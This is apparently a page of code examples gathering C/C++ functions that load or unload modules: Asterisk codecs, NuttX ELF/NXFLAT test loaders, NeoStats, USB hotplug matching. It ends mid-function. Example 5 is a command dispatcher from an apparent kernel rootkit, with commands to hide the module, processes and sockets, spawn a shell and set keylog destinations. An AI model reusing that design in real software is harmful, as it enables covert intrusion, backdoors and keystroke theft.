Exemplo n.º 1
0
static int load_module(void)
{
	int res = 0;
	int x, y, idx = 0;

	trans_size = ARRAY_LEN(codec_list) * (ARRAY_LEN(codec_list) - 1);
	if (!(translators = ast_calloc(1, sizeof(struct ast_translator) * trans_size))) {
		return AST_MODULE_LOAD_DECLINE;
	}

	for (x = 0; x < ARRAY_LEN(codec_list); x++) {
		for (y = 0; y < ARRAY_LEN(codec_list); y++) {
			if (x == y) {
				continue;
			}
			translators[idx].newpvt = resamp_new;
			translators[idx].destroy = resamp_destroy;
			translators[idx].framein = resamp_framein;
			translators[idx].desc_size = 0;
			translators[idx].buffer_samples = OUTBUF_SAMPLES;
			translators[idx].buf_size = (OUTBUF_SAMPLES * sizeof(int16_t));
			memcpy(&translators[idx].src_codec, &codec_list[x], sizeof(struct ast_codec));
			memcpy(&translators[idx].dst_codec, &codec_list[y], sizeof(struct ast_codec));
			snprintf(translators[idx].name, sizeof(translators[idx].name), "slin %ukhz -> %ukhz",
				translators[idx].src_codec.sample_rate, translators[idx].dst_codec.sample_rate);
			res |= ast_register_translator(&translators[idx]);
			idx++;
		}

	}
	/* in case ast_register_translator() failed, we call unload_module() and
	ast_unregister_translator won't fail.*/
	if (res) {
		unload_module();
		return AST_MODULE_LOAD_DECLINE;
	}

	return AST_MODULE_LOAD_SUCCESS;
}
Exemplo n.º 2
0
/*!
 * \brief Load the module
 *
 * Module loading including tests for configuration or dependencies.
 * This function can return AST_MODULE_LOAD_FAILURE, AST_MODULE_LOAD_DECLINE,
 * or AST_MODULE_LOAD_SUCCESS. If a dependency or environment variable fails
 * tests return AST_MODULE_LOAD_FAILURE. If the module can not load the
 * configuration file or other non-critical problem return
 * AST_MODULE_LOAD_DECLINE. On success return AST_MODULE_LOAD_SUCCESS.
 */
static int load_module(void)
{
	CHECK_PJSIP_SESSION_MODULE_LOADED();

	ast_sockaddr_parse(&address_ipv4, "0.0.0.0", 0);
	ast_sockaddr_parse(&address_ipv6, "::", 0);

	if (ast_sip_session_register_supplement(&t38_supplement)) {
		ast_log(LOG_ERROR, "Unable to register T.38 session supplement\n");
		goto end;
	}

	if (ast_sip_session_register_sdp_handler(&image_sdp_handler, "image")) {
		ast_log(LOG_ERROR, "Unable to register SDP handler for image stream type\n");
		goto end;
	}

	return AST_MODULE_LOAD_SUCCESS;
end:
	unload_module();

	return AST_MODULE_LOAD_FAILURE;
}
	CError CModuleManager::unload_module_in_development( CLoadModuleInDevelopmentResult &result )
	{
		result.previous_module_id = CGuidHelper::null_guid;

		for( map_guid_to_interface_definition::const_iterator i = m_module_id_map.begin(); i != m_module_id_map.end(); i++ )
		{
			CInterfaceDefinition &interface_definition = CInterfaceDefinition::downcast_writable( *i->second );

			if( interface_definition.get_module_source() != CInterfaceDefinition::MODULE_IN_DEVELOPMENT )
			{
				continue;
			}

            if ( CGuidHelper::guid_is_null( result.previous_module_id ) )
			{
				result.previous_module_id = interface_definition.get_module_guid();

				if( is_module_in_use( m_server.get_nodes(), interface_definition.get_module_guid() ) )
				{
					change_module_source( interface_definition, CInterfaceDefinition::MODULE_EMBEDDED );
					result.previous_remains_as_embedded = true;
				}
				else
				{
					unload_module( &interface_definition );
					i = m_module_id_map.begin();	//unloading a module makes the iterator invalid!
				}
			}
			else
			{
				INTEGRA_TRACE_ERROR << "Encountered more than one in-development module!";
				return CError::FAILED;
			}
		}

		return CError::SUCCESS;
	}
	CError CModuleManager::uninstall_module( const GUID &module_id, CModuleUninstallResult &result )
	{
		CError CError = CError::SUCCESS;

		result.remains_as_embedded = false;

		const CInterfaceDefinition *interface_definition = get_interface_by_module_id( module_id );
		if( !interface_definition )
		{
			INTEGRA_TRACE_ERROR << "Can't find interface";
			return CError::INPUT_ERROR;
		}

		if( interface_definition->get_module_source() != CInterfaceDefinition::MODULE_3RD_PARTY )
		{
			INTEGRA_TRACE_ERROR << "Can't uninstall module - it is not a 3rd party module";
			return CError::INPUT_ERROR;
		}

		if( is_module_in_use( m_server.get_nodes(), module_id ) )
		{
			result.remains_as_embedded = true;
			return change_module_source( ( CInterfaceDefinition & ) *interface_definition, CInterfaceDefinition::MODULE_EMBEDDED );
		}

		result.remains_as_embedded = false;

		CError = CFileHelper::delete_file( interface_definition->get_file_path() );
		if( CError != CError::SUCCESS )
		{
			return CError;
		}

		unload_module( ( CInterfaceDefinition * ) interface_definition );
		return CError::SUCCESS;
	}
Exemplo n.º 5
0
static int parse_json(char *json_str)
{
	int r;
	int flag;
	int count;
	int j;
	char *endptr;
	int pid;
	int port;
	struct siginfo info;

	jsmn_init(&p);
	r = jsmn_parse(&p, json_str, strlen(json_str), t, sizeof(t)/sizeof(t[0]));
	if (r < 0) {
		DEBUG_PRINT("[Error] failed to parse JSON");
		return 1;
	}

	/* Assume the top-level element is an object */
	if (r < 1 || t[0].type != JSMN_OBJECT) {
		DEBUG_PRINT("[Error] JSMN object expected");
		return 1;
	}

	DEBUG_PRINT("received new configuration");
	/* Loop over all keys of the root object */
	for (i=1 ; i<r ; i++)
		if (!jsoneq(json_str, &t[i], "unload_module")) {
			if ((flag = extract_boolean_value(json_str)) == -1)
				continue;
			//printk(KERN_INFO "%s: %s\n", "unload_module", (flag) ? "true" : "false");
			if (flag)
				unload_module();

		} else if (!jsoneq(json_str, &t[i], "hide_module")) {
			if ((flag = extract_boolean_value(json_str)) == -1)
				continue;
			//printk(KERN_INFO "%s: %s\n", "hide_module", (flag) ? "true" : "false");
			if (flag)
				mask_module();

		} else if (!jsoneq(json_str, &t[i], "unhide_module")) {
			if ((flag = extract_boolean_value(json_str)) == -1)
				continue;
			//printk(KERN_INFO "%s: %s\n", "unhide_module", (flag) ? "true" : "false");
			if (flag)
				unmask_module();

		} else if (!jsoneq(json_str, &t[i], "provide_shell")) {
			if ((flag = extract_boolean_value(json_str)) == -1)
				continue;
			//printk(KERN_INFO "%s: %s\n", "provide_shell", (flag) ? "true" : "false");
			if (flag) {
				memset(&info, 0, sizeof(struct siginfo));
				info.si_signo = 36;
				info.si_code = SI_QUEUE;
				info.si_int = 1234;

				send_sig_info(36, &info, shell_provider_task);
			}

			} else if (!jsoneq(json_str, &t[i], "set_keylog_dest")) {
			count = extract_array_values(json_str);
			//printk(KERN_INFO "%s: %d\n", "keylogging_dest", count);
			for (j=0 ; j<count ; j++) {
				//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
				set_remote_dest(values[j]);
			}


		} else if (!jsoneq(json_str, &t[i], "hide_processes")) {
			count = extract_array_values(json_str);
			//printk(KERN_INFO "%s: %d\n", "hide_processes", count);
			for (j=0 ; j<count ; j++) {
				//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
				pid = simple_strtol(values[j], &endptr, 10);
				mask_process(pid);
			}

		} else if (!jsoneq(json_str, &t[i], "unhide_processes")) {
			count = extract_array_values(json_str);
			//printk(KERN_INFO "%s: %d\n", "unhide_processes", count);
			for (j=0 ; j<count ; j++) {
				//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
				pid = simple_strtol(values[j], &endptr, 10);
				unmask_process(pid);
			}

		} else if (!jsoneq(json_str, &t[i], "hide_sockets_tcp4")) {
			count = extract_array_values(json_str);
			//printk(KERN_INFO "%s: %d\n", "hide_sockets_tcp4", count);
			for (j=0 ; j<count ; j++) {
				//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
				port = simple_strtol(values[j], &endptr, 10);
				mask_socket("tcp4", port);
			}

		} else if (!jsoneq(json_str, &t[i], "unhide_sockets_tcp4")) {
			count = extract_array_values(json_str);
			//printk(KERN_INFO "%s: %d\n", "unhide_sockets_tcp4", count);
			for (j=0 ; j<count ; j++) {
				//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
				port = simple_strtol(values[j], &endptr, 10);
				unmask_socket("tcp4", port);
			}

		} else if (!jsoneq(json_str, &t[i], "hide_sockets_tcp6")) {
			count = extract_array_values(json_str);
			//printk(KERN_INFO "%s: %d\n", "hide_sockets_tcp6", count);
			for (j=0 ; j<count ; j++) {
				//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
				port = simple_strtol(values[j], &endptr, 10);
				mask_socket("tcp6", port);
			}

		} else if (!jsoneq(json_str, &t[i], "unhide_sockets_tcp6")) {
			count = extract_array_values(json_str);
			//printk(KERN_INFO "%s: %d\n", "unhide_sockets_tcp6", count);
			for (j=0 ; j<count ; j++) {
				//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
				port = simple_strtol(values[j], &endptr, 10);
				unmask_socket("tcp6", port);
			}

		} else if (!jsoneq(json_str, &t[i], "hide_sockets_udp4")) {
			count = extract_array_values(json_str);
			//printk(KERN_INFO "%s: %d\n", "hide_sockets_udp4", count);
			for (j=0 ; j<count ; j++) {
				//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
				port = simple_strtol(values[j], &endptr, 10);
				mask_socket("udp4", port);
			}

		} else if (!jsoneq(json_str, &t[i], "unhide_sockets_udp4")) {
			count = extract_array_values(json_str);
			//printk(KERN_INFO "%s: %d\n", "unhide_sockets_udp4", count);
			for (j=0 ; j<count ; j++) {
				//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
				port = simple_strtol(values[j], &endptr, 10);
				unmask_socket("udp4", port);
			}

		} else if (!jsoneq(json_str, &t[i], "hide_sockets_udp6")) {
			count = extract_array_values(json_str);
			//printk(KERN_INFO "%s: %d\n", "hide_sockets_udp6", count);
			for (j=0 ; j<count ; j++) {
				//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
				port = simple_strtol(values[j], &endptr, 10);
				mask_socket("udp6", port);
			}

		} else if (!jsoneq(json_str, &t[i], "unhide_sockets_udp6")) {
			count = extract_array_values(json_str);
			//printk(KERN_INFO "%s: %d\n", "unhide_sockets_udp6", count);
			for (j=0 ; j<count ; j++) {
				//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
				port = simple_strtol(values[j], &endptr, 10);
				unmask_socket("udp6", port);
			}

		} else {
			//printk(KERN_INFO "Unexpected key: %.*s\n", t[i].end-t[i].start,
			//		json_str + t[i].start);
			;
		}

	return 0;
}
Exemplo n.º 6
0
int nxflat_main(int argc, char *argv[])
{
    struct binary_s bin;
    int ret;
    int i;

    /* Initialize the NXFLAT binary loader */

    message("Initializing the NXFLAT binary loader\n");
    ret = nxflat_initialize();
    if (ret < 0)
    {
        err("ERROR: Initialization of the NXFLAT loader failed: %d\n", ret);
        exit(1);
    }

    /* Create a ROM disk for the ROMFS filesystem */

    message("Registering romdisk\n");
    ret = romdisk_register(0, romfs_img, NSECTORS(romfs_img_len), SECTORSIZE);
    if (ret < 0)
    {
        err("ERROR: romdisk_register failed: %d\n", ret);
        nxflat_uninitialize();
        exit(1);
    }

    /* Mount the file system */

    message("Mounting ROMFS filesystem at target=%s with source=%s\n",
            MOUNTPT, ROMFSDEV);

    ret = mount(ROMFSDEV, MOUNTPT, "romfs", MS_RDONLY, NULL);
    if (ret < 0)
    {
        err("ERROR: mount(%s,%s,romfs) failed: %s\n",
            ROMFSDEV, MOUNTPT, errno);
        nxflat_uninitialize();
    }

    /* Now excercise every progrm in the ROMFS file system */

    for (i = 0; dirlist[i]; i++)
    {
        testheader(dirlist[i]);

        memset(&bin, 0, sizeof(struct binary_s));
        snprintf(path, 128, "%s/%s", MOUNTPT, dirlist[i]);

        bin.filename = path;
        bin.exports  = exports;
        bin.nexports = NEXPORTS;

        ret = load_module(&bin);
        if (ret < 0)
        {
            err("ERROR: Failed to load program '%s'\n", dirlist[i]);
            exit(1);
        }

        ret = exec_module(&bin, 50);
        if (ret < 0)
        {
            err("ERROR: Failed to execute program '%s'\n", dirlist[i]);
            unload_module(&bin);
        }

        message("Wait a bit for test completion\n");
        sleep(4);
    }

    message("End-of-Test.. Exit-ing\n");
    return 0;
}
Exemplo n.º 7
0
static Module *load_stdmodule( const char *modfilename, Client * u )
{
	int err;
	void *handle;
	ModuleInfo *infoptr = NULL;
	ModuleEvent *eventlistptr = NULL;
	Module *mod_ptr = NULL;
	int( *ModInit )( void );
	CmdParams *cmd;

	SET_SEGV_LOCATION();
	if( hash_isfull( modulehash ) ) {
		load_module_error( u, modfilename, __( "module list is full", u ) );
		return NULL;
	} 
	handle = ns_dlopen( modfilename, RTLD_NOW | RTLD_GLOBAL );
	if( !handle ) {
		load_module_error( u, modfilename, ns_dlerrormsg, modfilename );
		return NULL;
	}
	infoptr = ns_dlsym( handle, "module_info" );
	if( infoptr == NULL ) {
		load_module_error( u, modfilename, __( "missing module_info", u ) );
		ns_dlclose( handle );
		return NULL;
	}
	/* Check module was built for this version of NeoStats */
	if( ircstrncasecmp( NEOSTATS_VERSION, infoptr->neostats_version, VERSIONSIZE ) !=0 ) {
		load_module_error( u, modfilename, __( "module built with an old version of NeoStats and must be rebuilt.", u ) );
		ns_dlclose( handle );
		return NULL;
	}
	if( !infoptr->copyright || ircstrcasecmp( infoptr->copyright[0], "Copyright (c) <year>, <your name>" ) ==0 ) {
		load_module_error( u, modfilename, __( "missing copyright text.", u ) );
		ns_dlclose( handle );
		return NULL;
	}	
	if( !infoptr->about_text || ircstrcasecmp( infoptr->about_text[0], "About your module" ) ==0 ) {
		load_module_error( u, modfilename, __( "missing about text.", u ) );
		ns_dlclose( handle );
		return NULL;
	}	
	/* Check that the Module hasn't already been loaded */
	if( hash_lookup( modulehash, infoptr->name ) ) {
		ns_dlclose( handle );
		load_module_error( u, modfilename, __( "already loaded", u ) );
		return NULL;
	}
	/* Check we have require PROTOCOL/FEATURE support for module */
	if( ( infoptr->features & ircd_srv.features ) != infoptr->features ) {
		load_module_error( u, modfilename, __( "Required module features not available on this IRCd.", u ), modfilename );
		ns_dlclose( handle );
		return NULL;
	}
	/* Lookup ModInit( replacement for library __init() call */
	ModInit = ns_dlsym( ( int * ) handle, "ModInit" );
	if( !ModInit ) {
		load_module_error( u, modfilename, __( "missing ModInit.", u ) );
		ns_dlclose( handle );
		return NULL;
	}
	/* Allocate module */
	mod_ptr = ( Module * ) ns_calloc( sizeof( Module ) );
	dlog( DEBUG1, "Module internal name: %s", infoptr->name );
	dlog( DEBUG1, "Module description: %s", infoptr->description );
	mod_ptr->info = infoptr;
	mod_ptr->handle = handle;
	insert_module( mod_ptr );
	mod_ptr->type = MOD_TYPE_STANDARD;
	/* Extract pointer to event list */
	eventlistptr = ns_dlsym( handle, "module_events" );
	if( eventlistptr ) {
		SET_RUN_LEVEL( mod_ptr );
		AddEventList( eventlistptr );
		RESET_RUN_LEVEL();
	}
    /* For Auth modules, register auth function */
	if( infoptr->flags & MODULE_FLAG_AUTH ) {
		if( AddAuthModule( mod_ptr ) != NS_SUCCESS ) {
			load_module_error( u, modfilename, __( "Unable to load auth module: %s missing ModAuthUser function",u ), infoptr->name );
			unload_module( mod_ptr->info->name, NULL );
			return NULL;
		}
	}
    /* Module side user authentication for e.g. SecureServ helpers 
     * Not available on auth modules */
	if( !( infoptr->flags & MODULE_FLAG_AUTH ) )
		mod_ptr->authcb = ns_dlsym( ( int * ) handle, "ModAuthUser" );
	if( infoptr->flags & MODULE_FLAG_CTCP_VERSION )
		me.versionscan ++;		
	/* assign a module number to this module */
	assign_mod_number( mod_ptr );

	SET_SEGV_LOCATION();
	SET_RUN_LEVEL( mod_ptr );
	DBAOpenDatabase();
	err = ( *ModInit )(); 
	RESET_RUN_LEVEL();
	if( err < 1 || IsModuleError( mod_ptr ) ) {
		load_module_error( u, modfilename, __( "See %s.log for further information.",u ), mod_ptr->info->name );
		unload_module( mod_ptr->info->name, NULL );
		return NULL;
	}
	if( infoptr->flags & MODULE_FLAG_LOCAL_EXCLUDES ) 
	{
		SET_RUN_LEVEL( mod_ptr );	
		InitExcludes( mod_ptr );
		RESET_RUN_LEVEL();
	}
	SET_SEGV_LOCATION();

	/* Let this module know we are online if we are! */
	if( IsNeoStatsSynched() ) {
		if( SynchModule( mod_ptr ) != NS_SUCCESS || IsModuleError( mod_ptr ) )
		{
			load_module_error( u, modfilename, __( "See %s.log for further information.", u ), mod_ptr->info->name );
			unload_module( mod_ptr->info->name, NULL );
			return NULL;
		}
	}
	cmd = ns_calloc( sizeof( CmdParams ) );
	cmd->param = ( char * )infoptr->name;
	SendAllModuleEvent( EVENT_MODULELOAD, cmd );
	ns_free( cmd );
	if( u ) {
		irc_prefmsg( ns_botptr, u, __( "Module %s loaded, %s",u ), infoptr->name, infoptr->description );
		irc_globops( NULL, _( "Module %s loaded" ), infoptr->name );
	}
	return mod_ptr;
}
Exemplo n.º 8
0
/* command line arguments */
int main (int argc, char * argv[]) {
	int ask_help = 0;
	int ask_version = 0;
	struct option long_options[] = {
		{ "help", no_argument, &ask_help, 1},
		{ "version", no_argument, &ask_version, 1},
		{ "max_mem", required_argument, NULL, 'm' },
		{ "colors", required_argument, NULL, 'c' },
		{ 0, 0 , 0, 0},
	};
	const char * short_opts ="hVm:c:";
	int c;
	int option_index = 0;

	// parse options
	while (1) {
		c = getopt_long (argc, argv, short_opts, long_options, &option_index);
		if (c == -1)
			break;

		switch (c) {
			case 0:
				break;
			case 'c':
				{
					char * opt = optarg;
					if (opt[0] == 'L') {
						arg_is_color_cache_level = 1;
						opt++;
					}
					arg_colors = atoi (opt);
					if (arg_colors < 0)
						error (EXIT_FAILURE, 0, "invalid --colors value \"%s\"", optarg);
				}
				break;
			case 'm':
				arg_max_mem = optarg;
				break;
			case 'h':
				ask_help = 1;
				break;
			case 'V':
				ask_version = 1;
				break;
			default:
				error (EXIT_FAILURE, 0, "getopt: unknown option code '%c' (%d)", c, c);
				break;
		}
	}
	// forget the parsed part of argv
	argc -= optind;
	argv = &argv[optind];

	if (ask_version) {
		printf ("ccontrol: version %s\n", PACKAGE_STRING);
		return EXIT_SUCCESS;
	}

	if (ask_help || argc == 0) {
		print_help ();
		return EXIT_SUCCESS;
	}

	if (strcmp (argv[0], "info") == 0) {
		return cmd_info ();
	} else if (strcmp (argv[0], "load") == 0) {
		return load_module ();
	} else if (strcmp (argv[0], "unload") == 0) {
		return unload_module();
	} else {
		fprintf (stderr, "unknown command \"%s\"\n", argv[0]);
		print_help ();
		return EXIT_FAILURE;
	}
}
int elf_main(int argc, char *argv[])
#endif
{
  struct binary_s bin;
  int ret;
  int i;

  /* Initialize the memory monitor */

  mm_initmonitor();

  /* Initialize the ELF binary loader */

  message("Initializing the ELF binary loader\n");
  ret = elf_initialize();
  if (ret < 0)
    {
      err("ERROR: Initialization of the ELF loader failed: %d\n", ret);
      exit(1);
    }

  mm_update(&g_mmstep, "after elf_initialize");

  /* Create a ROM disk for the ROMFS filesystem */

  message("Registering romdisk at /dev/ram%d\n", CONFIG_EXAMPLES_ELF_DEVMINOR);
  ret = romdisk_register(CONFIG_EXAMPLES_ELF_DEVMINOR, (FAR uint8_t *)romfs_img,
                         NSECTORS(romfs_img_len), SECTORSIZE);
  if (ret < 0)
    {
      err("ERROR: romdisk_register failed: %d\n", ret);
      elf_uninitialize();
      exit(1);
    }

  mm_update(&g_mmstep, "after romdisk_register");

  /* Mount the file system */

  message("Mounting ROMFS filesystem at target=%s with source=%s\n",
         MOUNTPT, CONFIG_EXAMPLES_ELF_DEVPATH);

  ret = mount(CONFIG_EXAMPLES_ELF_DEVPATH, MOUNTPT, "romfs", MS_RDONLY, NULL);
  if (ret < 0)
    {
      err("ERROR: mount(%s,%s,romfs) failed: %s\n",
              CONFIG_EXAMPLES_ELF_DEVPATH, MOUNTPT, errno);
      elf_uninitialize();
    }

  mm_update(&g_mmstep, "after mount");

  /* Does the system support the PATH variable?  Has the PATH variable
   * already been set?  If YES and NO, then set the PATH variable to
   * the ROMFS mountpoint.
   */

#if defined(CONFIG_BINFMT_EXEPATH) && !defined(CONFIG_PATH_INITIAL)
  (void)setenv("PATH", MOUNTPT, 1);
#endif

  /* Now excercise every program in the ROMFS file system */

  for (i = 0; dirlist[i]; i++)
    {
      /* Output a seperated so that we can clearly discrinmate the output of
       * this program from the others.
       */

      testheader(dirlist[i]);

      /* Initialize the binary_s structure */

      memset(&bin, 0, sizeof(struct binary_s));

      /* If the binary loader does not support the PATH variable, then
       * create the full path to the executable program.  Otherwise,
       * use the relative path so that the binary loader will have to
       * search the PATH variable to find the executable.
       */

#ifdef CONFIG_BINFMT_EXEPATH
      bin.filename = dirlist[i];
#else
      snprintf(fullpath, 128, "%s/%s", MOUNTPT, dirlist[i]);
      bin.filename = fullpath;
#endif
      bin.exports  = exports;
      bin.nexports = nexports;

      /* Load the ELF module */

      ret = load_module(&bin);
      if (ret < 0)
        {
          err("ERROR: Failed to load program '%s'\n", dirlist[i]);
          exit(1);
        }

      mm_update(&g_mmstep, "after load_module");

      /* Execute the ELF module */

      ret = exec_module(&bin);

      mm_update(&g_mmstep, "after exec_module");

      if (ret < 0)
        {
          err("ERROR: Failed to execute program '%s'\n", dirlist[i]);
        }
      else
        {
          message("Wait a bit for test completion\n");
          sleep(4);
        }

      unload_module(&bin);
      mm_update(&g_mmstep, "after unload_module");
    }

  mm_update(&g_mmstep, "End-of-Test");
  return 0;
}
Exemplo n.º 10
0
	/* Service */
	bool CService::load_module(const int64_t id, const char* path){
		if(!Super::load_module(id, path)) return false;
		if(!path) return false;
		m_id =id;

		// load dll
		m_dl =::dlopen(path, RTLD_NOW | RTLD_GLOBAL);
		if(m_dl == 0){
			const char* err =::dlerror();
			ERROR("fail to call dlopen <%s>, %s", path, err ? err : "no error");
			return false;
		}

		// object pool manager
		OPH();

		// set path
		String* p =String::NewString(path);
		ASSIGN_POINTER(m_path, p);

		// get name
		{
			const char* (*fn_get_name)() =(const char* (*)())::dlsym(m_dl, "get_name");
			if(!fn_get_name){
				const char* err =::dlerror();
				ERROR("fail to call dlsym <%s, get_name>, %s", path, err ? err : "no error");
				unload_module();
				return false;
			}
			const char* name =fn_get_name();
			if(!name) name ="unnamed";
			CLEAN_POINTER(m_name);
			m_name =String::NewString(name);
			m_name->retain();
		}

		// get desc
		{
			const char* (*fn_get_desc)() =(const char* (*)())::dlsym(m_dl, "get_desc");
			if(!fn_get_desc){
				const char* err =::dlerror();
				ERROR("fail to call dlsym <%s, get_desc>, %s", path, err ? err : "no error");
				unload_module();
				return false;
			}
			const char* desc =fn_get_desc();
			if(!desc) desc ="";
			CLEAN_POINTER(m_desc);
			m_desc =String::NewString(desc);
			m_desc->retain();
		}

		// get on_load
		{
			m_on_load =(PFN_ON_LOAD)::dlsym(m_dl, "on_load");
			if(!m_on_load){
				const char* err =::dlerror();
				ERROR("fail to call dlsym <%s, on_load>, %s", path, err ? err : "no error");
				unload_module();
				return false;
			}
		}

		// get on_update
		{
			m_on_update =(PFN_ON_UPDATE)::dlsym(m_dl, "on_update");
			if(!m_on_update){
				const char* err =::dlerror();
				ERROR("fail to call dlsym <%s, on_update>, %s", path, err ? err : "no error");
				unload_module();
				return false;
			}
		}

		// get on_start_command
		{
			m_on_start_command =(PFN_ON_START_COMMAND)::dlsym(m_dl, "on_start_command");
			if(!m_on_start_command){
				const char* err =::dlerror();
				ERROR("fail to call dlsym <%s, on_start_command>, %s", path, err ? err : "no error");
				unload_module();
				return false;
			}
		}

		// get on_unload
		{
			m_on_unload =(PFN_ON_UNLOAD)::dlsym(m_dl, "on_unload");
			if(!m_on_unload){
				const char* err =::dlerror();
				ERROR("fail to call dlsym <%s, on_unload>, %s", path, err ? err : "no error");
				unload_module();
				return false;
			}
		}

		return true;
	}
Exemplo n.º 11
0
lizard::plugin_factory::~plugin_factory()
{
    unload_module();
}
Exemplo n.º 12
0
int elf_main(int argc, char *argv[])
{
  struct binary_s bin;
  int ret;
  int i;

  /* Initialize the memory monitor */

  mm_initmonitor();

  /* Initialize the ELF binary loader */

  message("Initializing the ELF binary loader\n");
  ret = elf_initialize();
  if (ret < 0)
    {
      err("ERROR: Initialization of the ELF loader failed: %d\n", ret);
      exit(1);
    }

  mm_update(&g_mmstep, "after elf_initialize");

  /* Create a ROM disk for the ROMFS filesystem */

  message("Registering romdisk at /dev/ram%d\n", CONFIG_EXAMPLES_ELF_DEVMINOR);
  ret = romdisk_register(CONFIG_EXAMPLES_ELF_DEVMINOR, (FAR uint8_t *)romfs_img,
                         NSECTORS(romfs_img_len), SECTORSIZE);
  if (ret < 0)
    {
      err("ERROR: romdisk_register failed: %d\n", ret);
      elf_uninitialize();
      exit(1);
    }

  mm_update(&g_mmstep, "after romdisk_register");

  /* Mount the file system */

  message("Mounting ROMFS filesystem at target=%s with source=%s\n",
         MOUNTPT, CONFIG_EXAMPLES_ELF_DEVPATH);

  ret = mount(CONFIG_EXAMPLES_ELF_DEVPATH, MOUNTPT, "romfs", MS_RDONLY, NULL);
  if (ret < 0)
    {
      err("ERROR: mount(%s,%s,romfs) failed: %s\n",
              CONFIG_EXAMPLES_ELF_DEVPATH, MOUNTPT, errno);
      elf_uninitialize();
    }

  mm_update(&g_mmstep, "after mount");

  /* Now excercise every program in the ROMFS file system */

  for (i = 0; dirlist[i]; i++)
    {
      testheader(dirlist[i]);

      memset(&bin, 0, sizeof(struct binary_s));
      snprintf(path, 128, "%s/%s", MOUNTPT, dirlist[i]);

      bin.filename = path;
      bin.exports  = exports;
      bin.nexports = nexports;

      ret = load_module(&bin);
      if (ret < 0)
        {
          err("ERROR: Failed to load program '%s'\n", dirlist[i]);
          exit(1);
        }

      mm_update(&g_mmstep, "after load_module");

      ret = exec_module(&bin, 50);

      mm_update(&g_mmstep, "after exec_module");

      if (ret < 0)
        {
          err("ERROR: Failed to execute program '%s'\n", dirlist[i]);
        }
      else
        {
          message("Wait a bit for test completion\n");
          sleep(4);
        }

      unload_module(&bin);
      mm_update(&g_mmstep, "after unload_module");
    }

  mm_update(&g_mmstep, "End-of-Test");
  return 0;
}
Exemplo n.º 13
0
/* If module_action = 1, load module; if module_action = 2, unload module. */
static int match_usb_modules (unsigned short vendor, unsigned short product, unsigned short bcdDevice,
	unsigned char deviceclass, unsigned char devicesubclass, unsigned char deviceprotocol,
	unsigned char interfaceclass, unsigned char interfacesubclass, unsigned char interfaceprotocol, int module_action)
{
	int i;
	int retval=0;

	dbg ("vendor = %x, product = %x, bcdDevice = %x", vendor, product, bcdDevice);
	dbg ("deviceclass = %x, devicesubclass = %x, deviceprotocol = %x", deviceclass, devicesubclass, deviceprotocol);
	dbg ("interfaceclass = %x, interfacesubclass = %x, interfaceprotocol = %x", interfaceclass, interfacesubclass, interfaceprotocol);

	for (i = 0; usb_module_map[i].module_name != NULL; ++i) {
		dbg ("looking at %s, match_flags = %x", usb_module_map[i].module_name, usb_module_map[i].match_flags);
		if (usb_module_map[i].match_flags & (USB_DEVICE_ID_MATCH_DEVICE | USB_DEVICE_ID_MATCH_DEV_RANGE)) {
			if ((usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_VENDOR) &&
			    (usb_module_map[i].idVendor != vendor)) {
				dbg ("vendor check failed %x != %x", usb_module_map[i].idVendor, vendor);
				continue;
			}
			if ((usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_PRODUCT) &&
			    (usb_module_map[i].idProduct != product)) {
				dbg ("product check failed %x != %x", usb_module_map[i].idProduct, product);
				continue;
			}
			if ((usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_DEV_LO) &&
			    (usb_module_map[i].bcdDevice_lo > bcdDevice)) {
				dbg ("bcdDevice_lo check failed %x > %x", usb_module_map[i].bcdDevice_lo, bcdDevice);
				continue;
			}
			if ((usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_DEV_HI) &&
			    (usb_module_map[i].bcdDevice_hi < bcdDevice)) {
				dbg ("bcdDevice_hi check failed %x < %x", usb_module_map[i].bcdDevice_hi, bcdDevice);
				continue;
			}
		}

		if (usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_DEV_INFO) {
			if ((usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_DEV_CLASS) &&
			    (usb_module_map[i].bDeviceClass != deviceclass)) {
				dbg ("class check failed %x != %x", usb_module_map[i].bDeviceClass, deviceclass);
				continue;
			}
			if ((usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_DEV_SUBCLASS) &&
			    (usb_module_map[i].bDeviceSubClass != devicesubclass)) {
				dbg ("subclass check failed %x != %x", usb_module_map[i].bDeviceSubClass, devicesubclass);
				continue;
			}
			if ((usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_DEV_PROTOCOL) &&
			    (usb_module_map[i].bDeviceProtocol != deviceprotocol)) {
				dbg ("protocol check failed %x != %x", usb_module_map[i].bDeviceProtocol, deviceprotocol);
				continue;
			}
		}

		if (usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_INT_INFO) {
			if ((usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_INT_CLASS) &&
			    (usb_module_map[i].bInterfaceClass != interfaceclass)) {
				dbg ("class check failed %x != %x", usb_module_map[i].bInterfaceClass, interfaceclass);
				continue;
			}
			if ((usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_INT_SUBCLASS) &&
			    (usb_module_map[i].bInterfaceSubClass != interfacesubclass)) {
				dbg ("subclass check failed %x != %x", usb_module_map[i].bInterfaceSubClass, interfacesubclass);
				continue;
			}
			if ((usb_module_map[i].match_flags & USB_DEVICE_ID_MATCH_INT_PROTOCOL) &&
			    (usb_module_map[i].bInterfaceProtocol != interfaceprotocol)) {
				dbg ("protocol check failed %x != %x", usb_module_map[i].bInterfaceProtocol, interfaceprotocol);
				continue;
			}
		}

		/* found one! */
		if(module_action == 1) {
			if(parse_config(HOTPLUG_CONFIG_FILE, "nomodule", "*", 0) == 1) {
				dbg ("Skip loading usb module.");
			} else {
				dbg ("loading %s", usb_module_map[i].module_name);
				retval = load_module (usb_module_map[i].module_name);
			}
		} else if(module_action == 2) {
			dbg ("unloading %s", usb_module_map[i].module_name);
